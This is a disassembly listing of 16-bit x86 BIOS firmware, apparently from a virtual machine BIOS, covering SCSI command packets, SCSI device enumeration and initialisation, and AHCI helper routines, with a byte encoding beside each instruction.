xchg dh, dl ; 86 d6
xchg dx, ax ; 92
mov word [bp-010h], ax ; 89 46 f0
mov word [bp-00eh], dx ; 89 56 f2
mov byte [bp-00bh], 000h ; c6 46 f5 00
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
sal ax, 1 ; d1 e0
sal ax, 1 ; d1 e0
mov bx, si ; 89 f3
add bx, ax ; 01 c3
mov ax, word [es:bx+0021ch] ; 26 8b 87 1c 02
mov bl, byte [es:bx+0021eh] ; 26 8a 9f 1e 02
mov word [bp-00ah], di ; 89 7e f6
mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00
mov cx, strict word 00009h ; b9 09 00
sal word [bp-00ah], 1 ; d1 66 f6
rcl word [bp-008h], 1 ; d1 56 f8
loop 081ddh ; e2 f8
push word [bp-008h] ; ff 76 f8
push word [bp-00ah] ; ff 76 f6
push word [es:si+00ah] ; 26 ff 74 0a
push word [es:si+008h] ; 26 ff 74 08
mov dx, strict word 00010h ; ba 10 00
push dx ; 52
mov dl, bl ; 88 da
xor dh, dh ; 30 f6
mov cx, ss ; 8c d1
lea bx, [bp-01ah] ; 8d 5e e6
call 07f84h ; e8 81 fd
mov ah, al ; 88 c4
test al, al ; 84 c0
jne short 0821eh ; 75 15
mov es, [bp+006h] ; 8e 46 06
mov word [es:si+018h], di ; 26 89 7c 18
mov dx, word [bp-00ah] ; 8b 56 f6
mov word [es:si+01ah], dx ; 26 89 54 1a
mov dx, word [bp-008h] ; 8b 56 f8
mov word [es:si+01ch], dx ; 26 89 54 1c
mov al, ah ; 88 e0
xor ah, ah ; 30 e4
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
scsi_cmd_packet_: ; 0xf822b LB 0x170
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 0000ch ; 83 ec 0c
mov di, ax ; 89 c7
mov byte [bp-006h], dl ; 88 56 fa
mov word [bp-00eh], bx ; 89 5e f2
mov word [bp-00ah], cx ; 89 4e f6
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 27 94
mov si, 00122h ; be 22 01
mov word [bp-00ch], ax ; 89 46 f4
cmp byte [bp+00ah], 002h ; 80 7e 0a 02
jne short 08276h ; 75 23
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 d5 96
mov ax, 00b62h ; b8 62 0b
push ax ; 50
mov ax, 00b72h ; b8 72 0b
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 09 97
add sp, strict byte 00006h ; 83 c4 06
mov dx, strict word 00001h ; ba 01 00
jmp near 08390h ; e9 1a 01
sub di, strict byte 00008h ; 83 ef 08
sal di, 1 ; d1 e7
sal di, 1 ; d1 e7
sub byte [bp-006h], 002h ; 80 6e fa 02
mov es, [bp-00ch] ; 8e 46 f4
add di, si ; 01 f7
mov bx, word [es:di+0021ch] ; 26 8b 9d 1c 02
mov al, byte [es:di+0021eh] ; 26 8a 85 1e 02
mov byte [bp-008h], al ; 88 46 f8
mov dx, bx ; 89 da
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 08293h ; 75 f7
xor dx, bx ; 31 da
mov ax, word [bp+006h] ; 8b 46 06
add ax, word [bp+004h] ; 03 46 04
mov cx, word [bp+008h] ; 8b 4e 08
adc cx, dx ; 11 d1
mov es, [bp-00ch] ; 8e 46 f4
mov dx, word [es:si+020h] ; 26 8b 54 20
xor di, di ; 31 ff
add ax, dx ; 01 d0
mov word [bp-010h], ax ; 89 46 f0
adc di, cx ; 11 cf
mov dx, di ; 89 fa
mov cx, strict word 0000ch ; b9 0c 00
shr dx, 1 ; d1 ea
rcr ax, 1 ; d1 d8
loop 082beh ; e2 fa
and ax, 000f0h ; 25 f0 00
mov cl, byte [bp-006h] ; 8a 4e fa
xor ch, ch ; 30 ed
or cx, ax ; 09 c1
mov al, byte [bp-008h] ; 8a 46 f8
mov dx, bx ; 89 da
out DX, AL ; ee
xor al, al ; 30 c0
out DX, AL ; ee
mov al, cl ; 88 c8
out DX, AL ; ee
mov al, byte [bp-010h] ; 8a 46 f0
out DX, AL ; ee
mov ax, word [bp-010h] ; 8b 46 f0
mov dx, di ; 89 fa
mov cx, strict word 00008h ; b9 08 00
shr dx, 1 ; d1 ea
rcr ax, 1 ; d1 d8
loop 082e6h ; e2 fa
mov dx, bx ; 89 da
out DX, AL ; ee
xor cx, cx ; 31 c9
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
cmp cx, ax ; 39 c1
jnc short 0830bh ; 73 11
mov es, [bp-00ah] ; 8e 46 f6
mov di, word [bp-00eh] ; 8b 7e f2
add di, cx ; 01 cf
mov al, byte [es:di] ; 26 8a 05
mov dx, bx ; 89 da
out DX, AL ; ee
inc cx ; 41
jmp short 082f1h ; eb e6
mov dx, bx ; 89 da
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 0830bh ; 75 f7
test AL, strict byte 002h ; a8 02
je short 08326h ; 74 0e
lea dx, [bx+003h] ; 8d 57 03
xor al, al ; 30 c0
out DX, AL ; ee
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov dx, strict word 00003h ; ba 03 00
jmp short 08390h ; eb 6a
mov ax, word [bp+004h] ; 8b 46 04
test ax, ax ; 85 c0
je short 08335h ; 74 08
lea dx, [bx+001h] ; 8d 57 01
mov cx, ax ; 89 c1
in AL, DX ; ec
loop 08332h ; e2 fd
mov ax, word [bp+006h] ; 8b 46 06
mov es, [bp-00ch] ; 8e 46 f4
mov word [es:si+01ah], ax ; 26 89 44 1a
mov ax, word [bp+008h] ; 8b 46 08
mov word [es:si+01ch], ax ; 26 89 44 1c
lea ax, [bx+001h] ; 8d 47 01
cmp word [bp+008h], strict byte 00000h ; 83 7e 08 00
jne short 08356h ; 75 07
cmp word [bp+006h], 08000h ; 81 7e 06 00 80
jbe short 08373h ; 76 1d
mov dx, ax ; 89 c2
mov cx, 08000h ; b9 00 80
les di, [bp+00ch] ; c4 7e 0c
rep insb ; f3 6c
add word [bp+006h], 08000h ; 81 46 06 00 80
adc word [bp+008h], strict byte 0ffffh ; 83 56 08 ff
mov ax, es ; 8c c0
add ax, 00800h ; 05 00 08
mov word [bp+00eh], ax ; 89 46 0e
jmp short 08346h ; eb d3
mov dx, ax ; 89 c2
mov cx, word [bp+006h] ; 8b 4e 06
les di, [bp+00ch] ; c4 7e 0c
rep insb ; f3 6c
mov es, [bp-00ch] ; 8e 46 f4
cmp word [es:si+020h], strict byte 00000h ; 26 83 7c 20 00
je short 0838eh ; 74 07
mov cx, word [es:si+020h] ; 26 8b 4c 20
in AL, DX ; ec
loop 0838bh ; e2 fd
xor dx, dx ; 31 d2
mov ax, dx ; 89 d0
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 0000ch ; c2 0c 00
scsi_enumerate_attached_devices_: ; 0xf839b LB 0x4cb
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
sub sp, 0023eh ; 81 ec 3e 02
push ax ; 50
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 bd 92
mov di, 00122h ; bf 22 01
mov word [bp-016h], ax ; 89 46 ea
mov word [bp-014h], strict word 00000h ; c7 46 ec 00 00
jmp near 087d9h ; e9 1a 04
cmp AL, strict byte 004h ; 3c 04
jc short 083c6h ; 72 03
jmp near 0885ch ; e9 96 04
mov cx, strict word 00010h ; b9 10 00
xor bx, bx ; 31 db
mov dx, ss ; 8c d2
lea ax, [bp-048h] ; 8d 46 b8
call 0a1c0h ; e8 ed 1d
mov byte [bp-048h], 09eh ; c6 46 b8 9e
mov byte [bp-047h], 010h ; c6 46 b9 10
mov byte [bp-03bh], 020h ; c6 46 c5 20
xor ax, ax ; 31 c0
push ax ; 50
mov ax, strict word 00020h ; b8 20 00
push ax ; 50
lea dx, [bp-00248h] ; 8d 96 b8 fd
push SS ; 16
push dx ; 52
mov ax, strict word 00010h ; b8 10 00
push ax ; 50
mov dl, byte [bp-014h] ; 8a 56 ec
xor dh, dh ; 30 f6
mov cx, ss ; 8c d1
lea bx, [bp-048h] ; 8d 5e b8
mov ax, word [bp-0024ah] ; 8b 86 b6 fd
call 07eafh ; e8 ae fa
test al, al ; 84 c0
je short 08417h ; 74 12
mov ax, 00b92h ; b8 92 0b
push ax ; 50
mov ax, 00bcbh ; b8 cb 0b
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 62 95
add sp, strict byte 00006h ; 83 c4 06
mov ax, word [bp-00242h] ; 8b 86 be fd
mov bx, word [bp-00244h] ; 8b 9e bc fd
mov cx, word [bp-00246h] ; 8b 8e ba fd
mov dx, word [bp-00248h] ; 8b 96 b8 fd
xchg ah, al ; 86 c4
xchg bh, bl ; 86 df
xchg ch, cl ; 86 cd
xchg dh, dl ; 86 d6
xchg dx, ax ; 92
xchg bx, cx ; 87 cb
add dx, strict byte 00001h ; 83 c2 01
mov word [bp-024h], dx ; 89 56 dc
adc cx, strict byte 00000h ; 83 d1 00
mov word [bp-012h], cx ; 89 4e ee
adc bx, strict byte 00000h ; 83 d3 00
mov word [bp-022h], bx ; 89 5e de
adc ax, strict word 00000h ; 15 00 00
mov word [bp-020h], ax ; 89 46 e0
mov dh, byte [bp-00240h] ; 8a b6 c0 fd
xor dl, dl ; 30 d2
mov al, byte [bp-0023fh] ; 8a 86 c1 fd
xor ah, ah ; 30 e4
xor bx, bx ; 31 db
mov si, dx ; 89 d6
or si, ax ; 09 c6
mov al, byte [bp-0023eh] ; 8a 86 c2 fd
xor dh, dh ; 30 f6
mov cx, strict word 00008h ; b9 08 00
sal ax, 1 ; d1 e0
rcl dx, 1 ; d1 d2
loop 08465h ; e2 fa
or bx, ax ; 09 c3
or dx, si ; 09 f2
mov al, byte [bp-0023dh] ; 8a 86 c3 fd
xor ah, ah ; 30 e4
or bx, ax ; 09 c3
mov word [bp-01ch], bx ; 89 5e e4
test dx, dx ; 85 d2
jne short 08484h ; 75 06
cmp bx, 00200h ; 81 fb 00 02
je short 084a7h ; 74 23
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 a4 94
push dx ; 52
push word [bp-01ch] ; ff 76 e4
push word [bp-014h] ; ff 76 ec
mov ax, 00beah ; b8 ea 0b
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 d5 94
add sp, strict byte 0000ah ; 83 c4 0a
jmp near 087cdh ; e9 26 03
mov al, byte [bp-00ch] ; 8a 46 f4
cmp AL, strict byte 001h ; 3c 01
jc short 084bah ; 72 0c
jbe short 084c2h ; 76 12
cmp AL, strict byte 003h ; 3c 03
je short 084cah ; 74 16
cmp AL, strict byte 002h ; 3c 02
je short 084c6h ; 74 0e
jmp short 08511h ; eb 57
test al, al ; 84 c0
jne short 08511h ; 75 53
mov BL, strict byte 090h ; b3 90
jmp short 084cch ; eb 0a
mov BL, strict byte 098h ; b3 98
jmp short 084cch ; eb 06
mov BL, strict byte 0a0h ; b3 a0
jmp short 084cch ; eb 02
mov BL, strict byte 0a8h ; b3 a8
mov cl, bl ; 88 d9
add cl, 007h ; 80 c1 07
xor ch, ch ; 30 ed
mov ax, cx ; 89 c8
call 016aeh ; e8 d6 91
test al, al ; 84 c0
je short 08511h ; 74 35
mov al, bl ; 88 d8
db 0feh, 0c0h
; inc al ; fe c0
xor ah, ah ; 30 e4
call 016aeh ; e8 c9 91
mov dh, al ; 88 c6
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
call 016aeh ; e8 c0 91
mov ah, dh ; 88 f4
cwd ; 99
mov si, ax ; 89 c6
mov word [bp-026h], dx ; 89 56 da
mov al, bl ; 88 d8
add AL, strict byte 002h ; 04 02
xor ah, ah ; 30 e4
call 016aeh ; e8 af 91
xor ah, ah ; 30 e4
mov word [bp-028h], ax ; 89 46 d8
mov ax, cx ; 89 c8
call 016aeh ; e8 a5 91
xor ah, ah ; 30 e4
mov word [bp-01ah], ax ; 89 46 e6
jmp near 085feh ; e9 ed 00
mov ax, word [bp-020h] ; 8b 46 e0
mov bx, word [bp-022h] ; 8b 5e de
mov cx, word [bp-012h] ; 8b 4e ee
mov dx, word [bp-024h] ; 8b 56 dc
mov si, strict word 0000ch ; be 0c 00
call 0a1a0h ; e8 7d 1c
mov word [bp-02ah], ax ; 89 46 d6
mov word [bp-02ch], bx ; 89 5e d4
mov word [bp-010h], cx ; 89 4e f0
mov word [bp-018h], dx ; 89 56 e8
mov ax, word [bp-020h] ; 8b 46 e0
test ax, ax ; 85 c0
jnbe short 0854bh ; 77 15
je short 0853bh ; 74 03
jmp near 085beh ; e9 83 00
cmp word [bp-022h], strict byte 00000h ; 83 7e de 00
jnbe short 0854bh ; 77 0a
jne short 08538h ; 75 f5
cmp word [bp-012h], strict byte 00040h ; 83 7e ee 40
jnbe short 0854bh ; 77 02
jne short 085beh ; 75 73
mov word [bp-028h], 000ffh ; c7 46 d8 ff 00
mov word [bp-01ah], strict word 0003fh ; c7 46 e6 3f 00
mov bx, word [bp-022h] ; 8b 5e de
mov cx, word [bp-012h] ; 8b 4e ee
mov dx, word [bp-024h] ; 8b 56 dc
mov si, strict word 00006h ; be 06 00
call 0a1a0h ; e8 3c 1c
mov si, word [bp-018h] ; 8b 76 e8
add si, dx ; 01 d6
mov word [bp-01eh], si ; 89 76 e2
mov dx, word [bp-010h] ; 8b 56 f0
adc dx, cx ; 11 ca
mov word [bp-036h], dx ; 89 56 ca
mov dx, word [bp-02ch] ; 8b 56 d4
adc dx, bx ; 11 da
mov word [bp-038h], dx ; 89 56 c8
mov dx, word [bp-02ah] ; 8b 56 d6
adc dx, ax ; 11 c2
mov word [bp-034h], dx ; 89 56 cc
mov ax, dx ; 89 d0
mov bx, word [bp-038h] ; 8b 5e c8
mov cx, word [bp-036h] ; 8b 4e ca
mov dx, si ; 89 f2
mov si, strict word 00008h ; be 08 00
call 0a1a0h ; e8 0c 1c
mov word [bp-02eh], bx ; 89 5e d2
mov word [bp-030h], cx ; 89 4e d0
mov word [bp-032h], dx ; 89 56 ce
mov ax, word [bp-034h] ; 8b 46 cc
mov bx, word [bp-038h] ; 8b 5e c8
mov cx, word [bp-036h] ; 8b 4e ca
mov dx, word [bp-01eh] ; 8b 56 e2
mov si, strict word 00010h ; be 10 00
call 0a1a0h ; e8 f1 1b
mov si, word [bp-032h] ; 8b 76 ce
add si, dx ; 01 d6
adc cx, word [bp-030h] ; 13 4e d0
mov ax, word [bp-02eh] ; 8b 46 d2
adc ax, bx ; 11 d8
jmp short 085fbh ; eb 3d
test ax, ax ; 85 c0
jnbe short 085d4h ; 77 12
jne short 085e0h ; 75 1c
cmp word [bp-022h], strict byte 00000h ; 83 7e de 00
jnbe short 085d4h ; 77 0a
jne short 085e0h ; 75 14
cmp word [bp-012h], strict byte 00020h ; 83 7e ee 20
jnbe short 085d4h ; 77 02
jne short 085e0h ; 75 0c
mov word [bp-028h], 00080h ; c7 46 d8 80 00
mov word [bp-01ah], strict word 00020h ; c7 46 e6 20 00
jmp short 085f9h ; eb 19
mov word [bp-028h], strict word 00040h ; c7 46 d8 40 00
mov word [bp-01ah], strict word 00020h ; c7 46 e6 20 00
mov bx, word [bp-022h] ; 8b 5e de
mov cx, word [bp-012h] ; 8b 4e ee
mov dx, word [bp-024h] ; 8b 56 dc
mov si, strict word 0000bh ; be 0b 00
call 0a1a0h ; e8 a7 1b
mov si, dx ; 89 d6
mov word [bp-026h], cx ; 89 4e da
mov al, byte [bp-00ch] ; 8a 46 f4
add AL, strict byte 008h ; 04 08
mov byte [bp-00eh], al ; 88 46 f2
mov al, byte [bp-00ch] ; 8a 46 f4
xor ah, ah ; 30 e4
sal ax, 1 ; d1 e0
sal ax, 1 ; d1 e0
mov es, [bp-016h] ; 8e 46 ea
mov bx, di ; 89 fb
add bx, ax ; 01 c3
mov ax, word [bp-0024ah] ; 8b 86 b6 fd
mov word [es:bx+0021ch], ax ; 26 89 87 1c 02
mov al, byte [bp-014h] ; 8a 46 ec
mov byte [es:bx+0021eh], al ; 26 88 87 1e 02
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov bx, di ; 89 fb
add bx, ax ; 01 c3
mov word [es:bx+022h], 0ff04h ; 26 c7 47 22 04 ff
mov word [es:bx+024h], strict word 00000h ; 26 c7 47 24 00 00
mov ax, word [bp-01ch] ; 8b 46 e4
mov word [es:bx+028h], ax ; 26 89 47 28
mov byte [es:bx+027h], 001h ; 26 c6 47 27 01
mov ax, word [bp-028h] ; 8b 46 d8
mov word [es:bx+02ah], ax ; 26 89 47 2a
mov ax, word [bp-01ah] ; 8b 46 e6
mov word [es:bx+02eh], ax ; 26 89 47 2e
mov ax, word [bp-028h] ; 8b 46 d8
mov word [es:bx+030h], ax ; 26 89 47 30
mov ax, word [bp-01ah] ; 8b 46 e6
mov word [es:bx+034h], ax ; 26 89 47 34
cmp word [bp-026h], strict byte 00000h ; 83 7e da 00
jne short 08675h ; 75 06
cmp si, 00400h ; 81 fe 00 04
jbe short 08683h ; 76 0e
mov word [es:bx+02ch], 00400h ; 26 c7 47 2c 00 04
mov word [es:bx+032h], 00400h ; 26 c7 47 32 00 04
jmp short 0868bh ; eb 08
mov word [es:bx+02ch], si ; 26 89 77 2c
mov word [es:bx+032h], si ; 26 89 77 32
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 9d 92
push word [bp-020h] ; ff 76 e0
push word [bp-022h] ; ff 76 de
push word [bp-012h] ; ff 76 ee
push word [bp-024h] ; ff 76 dc
push word [bp-01ah] ; ff 76 e6
push word [bp-028h] ; ff 76 d8
push word [bp-026h] ; ff 76 da
push si ; 56
push word [bp-014h] ; ff 76 ec
mov al, byte [bp-00ch] ; 8a 46 f4
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 00c18h ; b8 18 0c
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 b6 92
add sp, strict byte 00018h ; 83 c4 18
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-016h] ; 8e 46 ea
mov bx, di ; 89 fb
add bx, ax ; 01 c3
mov ax, word [bp-020h] ; 8b 46 e0
mov word [es:bx+03ch], ax ; 26 89 47 3c
mov ax, word [bp-022h] ; 8b 46 de
mov word [es:bx+03ah], ax ; 26 89 47 3a
mov ax, word [bp-012h] ; 8b 46 ee
mov word [es:bx+038h], ax ; 26 89 47 38
mov ax, word [bp-024h] ; 8b 46 dc
mov word [es:bx+036h], ax ; 26 89 47 36
mov al, byte [es:di+001e2h] ; 26 8a 85 e2 01
mov ah, byte [bp-00ch] ; 8a 66 f4
add ah, 008h ; 80 c4 08
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
add bx, di ; 01 fb
mov byte [es:bx+001e3h], ah ; 26 88 a7 e3 01
db 0feh, 0c0h
; inc al ; fe c0
mov byte [es:di+001e2h], al ; 26 88 85 e2 01
mov dx, strict word 00075h ; ba 75 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 3c 8f
mov bl, al ; 88 c3
db 0feh, 0c3h
; inc bl ; fe c3
xor bh, bh ; 30 ff
mov dx, strict word 00075h ; ba 75 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 3b 8f
inc byte [bp-00ch] ; fe 46 f4
jmp near 087c2h ; e9 97 00
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 fd 91
push word [bp-014h] ; ff 76 ec
mov al, byte [bp-00ch] ; 8a 46 f4
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 00c46h ; b8 46 0c
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 2c 92
add sp, strict byte 00008h ; 83 c4 08
mov al, byte [bp-00ch] ; 8a 46 f4
add AL, strict byte 008h ; 04 08
mov byte [bp-00eh], al ; 88 46 f2
test byte [bp-00247h], 080h ; f6 86 b9 fd 80
je short 08761h ; 74 05
mov cx, strict word 00001h ; b9 01 00
jmp short 08763h ; eb 02
xor cx, cx ; 31 c9
mov al, byte [bp-00ch] ; 8a 46 f4
xor ah, ah ; 30 e4
sal ax, 1 ; d1 e0
sal ax, 1 ; d1 e0
mov es, [bp-016h] ; 8e 46 ea
mov bx, di ; 89 fb
add bx, ax ; 01 c3
mov ax, word [bp-0024ah] ; 8b 86 b6 fd
mov word [es:bx+0021ch], ax ; 26 89 87 1c 02
mov al, byte [bp-014h] ; 8a 46 ec
mov byte [es:bx+0021eh], al ; 26 88 87 1e 02
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov bx, di ; 89 fb
add bx, ax ; 01 c3
mov word [es:bx+022h], 00504h ; 26 c7 47 22 04 05
mov byte [es:bx+024h], cl ; 26 88 4f 24
mov word [es:bx+028h], 00800h ; 26 c7 47 28 00 08
mov al, byte [es:di+001f3h] ; 26 8a 85 f3 01
mov ah, byte [bp-00ch] ; 8a 66 f4
add ah, 008h ; 80 c4 08
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
add bx, di ; 01 fb
mov byte [es:bx+001f4h], ah ; 26 88 a7 f4 01
db 0feh, 0c0h
; inc al ; fe c0
mov byte [es:di+001f3h], al ; 26 88 85 f3 01
inc byte [bp-00ch] ; fe 46 f4
mov al, byte [bp-00ch] ; 8a 46 f4
mov es, [bp-016h] ; 8e 46 ea
mov byte [es:di+0022ch], al ; 26 88 85 2c 02
inc word [bp-014h] ; ff 46 ec
cmp word [bp-014h], strict byte 00010h ; 83 7e ec 10
jl short 087d9h ; 7c 03
jmp near 0885ch ; e9 83 00
mov byte [bp-048h], 012h ; c6 46 b8 12
xor al, al ; 30 c0
mov byte [bp-047h], al ; 88 46 b9
mov byte [bp-046h], al ; 88 46 ba
mov byte [bp-045h], al ; 88 46 bb
mov byte [bp-044h], 005h ; c6 46 bc 05
mov byte [bp-043h], al ; 88 46 bd
xor ah, ah ; 30 e4
push ax ; 50
mov ax, strict word 00005h ; b8 05 00
push ax ; 50
lea dx, [bp-00248h] ; 8d 96 b8 fd
push SS ; 16
push dx ; 52
mov ax, strict word 00006h ; b8 06 00
push ax ; 50
mov dl, byte [bp-014h] ; 8a 56 ec
xor dh, dh ; 30 f6
mov cx, ss ; 8c d1
lea bx, [bp-048h] ; 8d 5e b8
mov ax, word [bp-0024ah] ; 8b 86 b6 fd
call 07eafh ; e8 9e f6
test al, al ; 84 c0
je short 08827h ; 74 12
mov ax, 00b92h ; b8 92 0b
push ax ; 50
mov ax, 00bb2h ; b8 b2 0b
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 52 91
add sp, strict byte 00006h ; 83 c4 06
mov es, [bp-016h] ; 8e 46 ea
mov al, byte [es:di+0022ch] ; 26 8a 85 2c 02
mov byte [bp-00ch], al ; 88 46 f4
test byte [bp-00248h], 0e0h ; f6 86 b8 fd e0
jne short 08843h ; 75 0a
test byte [bp-00248h], 01fh ; f6 86 b8 fd 1f
jne short 08843h ; 75 03
jmp near 083bfh ; e9 7c fb
test byte [bp-00248h], 0e0h ; f6 86 b8 fd e0
je short 0884dh ; 74 03
jmp near 087c2h ; e9 75 ff
mov al, byte [bp-00248h] ; 8a 86 b8 fd
and AL, strict byte 01fh ; 24 1f
cmp AL, strict byte 005h ; 3c 05
jne short 0885ah ; 75 03
jmp near 0872bh ; e9 d1 fe
jmp short 0884ah ; eb ee
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
scsi_pci_init_: ; 0xf8866 LB 0x2b
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
call 09fa4h ; e8 35 17
mov dx, ax ; 89 c2
cmp ax, strict word 0ffffh ; 3d ff ff
je short 08889h ; 74 13
mov al, dl ; 88 d0
xor ah, ah ; 30 e4
mov si, ax ; 89 c6
mov al, dh ; 88 f0
mov cx, strict word 00007h ; b9 07 00
mov bx, strict word 00004h ; bb 04 00
mov dx, si ; 89 f2
call 0a052h ; e8 c9 17
lea sp, [bp-006h] ; 8d 66 fa
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
_scsi_init: ; 0xf8891 LB 0x81
push bp ; 55
mov bp, sp ; 89 e5
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 d1 8d
mov bx, 00122h ; bb 22 01
mov es, ax ; 8e c0
mov byte [es:bx+0022ch], 000h ; 26 c6 87 2c 02 00
mov AL, strict byte 055h ; b0 55
mov dx, 00432h ; ba 32 04
out DX, AL ; ee
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp AL, strict byte 055h ; 3c 55
jne short 088cah ; 75 15
xor al, al ; 30 c0
mov dx, 00433h ; ba 33 04
out DX, AL ; ee
mov ax, 00430h ; b8 30 04
call 0839bh ; e8 da fa
mov dx, 01040h ; ba 40 10
mov ax, 0104bh ; b8 4b 10
call 08866h ; e8 9c ff
mov AL, strict byte 055h ; b0 55
mov dx, 00436h ; ba 36 04
out DX, AL ; ee
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp AL, strict byte 055h ; 3c 55
jne short 088ech ; 75 15
xor al, al ; 30 c0
mov dx, 00437h ; ba 37 04
out DX, AL ; ee
mov ax, 00434h ; b8 34 04
call 0839bh ; e8 b8 fa
mov dx, strict word 00030h ; ba 30 00
mov ax, 01000h ; b8 00 10
call 08866h ; e8 7a ff
mov AL, strict byte 055h ; b0 55
mov dx, 0043ah ; ba 3a 04
out DX, AL ; ee
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp AL, strict byte 055h ; 3c 55
jne short 0890eh ; 75 15
xor al, al ; 30 c0
mov dx, 0043bh ; ba 3b 04
out DX, AL ; ee
mov ax, 00438h ; b8 38 04
call 0839bh ; e8 96 fa
mov dx, strict word 00054h ; ba 54 00
mov ax, 01000h ; b8 00 10
call 08866h ; e8 58 ff
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
ahci_ctrl_extract_bits_: ; 0xf8912 LB 0x1c
push si ; 56
push bp ; 55
mov bp, sp ; 89 e5
mov si, ax ; 89 c6
and ax, bx ; 21 d8
and dx, cx ; 21 ca
mov cl, byte [bp+006h] ; 8a 4e 06
xor ch, ch ; 30 ed
jcxz 08929h ; e3 06
shr dx, 1 ; d1 ea
rcr ax, 1 ; d1 d8
loop 08923h ; e2 fa
pop bp ; 5d
pop si ; 5e
retn 00002h ; c2 02 00
ahci_addr_to_phys_: ; 0xf892e LB 0x1e
push bx ; 53
push cx ; 51
push bp ; 55
mov bp, sp ; 89 e5
mov bx, ax ; 89 c3
mov ax, dx ; 89 d0
xor dx, dx ; 31 d2
mov cx, strict word 00004h ; b9 04 00
sal ax, 1 ; d1 e0
rcl dx, 1 ; d1 d2
loop 0893ch ; e2 fa
xor cx, cx ; 31 c9
add ax, bx ; 01 d8
adc dx, cx ; 11 ca
pop bp ; 5d
pop cx ; 59
pop bx ; 5b
retn ; c3
ahci_port_cmd_sync_: ; 0xf894c LB 0x159
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push si ; 56
push di ; 57
push ax ; 50
mov si, ax ; 89 c6
mov cx, dx ; 89 d1
mov dl, bl ; 88 da
mov es, cx ; 8e c1
mov al, byte [es:si+00262h] ; 26 8a 84 62 02
mov byte [bp-008h], al ; 88 46 f8
mov bx, word [es:si+00260h] ; 26 8b 9c 60 02
cmp AL, strict byte 0ffh ; 3c ff
jne short 0896fh ; 75 03
jmp near 08a9dh ; e9 2e 01
mov al, byte [es:si+00263h] ; 26 8a 84 63 02
xor ah, ah ; 30 e4
xor di, di ; 31 ff
or di, 00080h ; 81 cf 80 00
xor dh, dh ; 30 f6
or di, dx ; 09 d7
mov word [es:si], di ; 26 89 3c
mov word [es:si+002h], ax ; 26 89 44 02
mov word [es:si+004h], strict word 00000h ; 26 c7 44 04 00 00
mov word [es:si+006h], strict word 00000h ; 26 c7 44 06 00 00
lea ax, [si+00080h] ; 8d 84 80 00
mov dx, cx ; 89 ca
call 0892eh ; e8 92 ff
mov es, cx ; 8e c1
mov word [es:si+008h], ax ; 26 89 44 08
mov word [es:si+00ah], dx ; 26 89 54 0a
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov CL, strict byte 007h ; b1 07
mov di, ax ; 89 c7
sal di, CL ; d3 e7
lea ax, [di+00118h] ; 8d 85 18 01
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
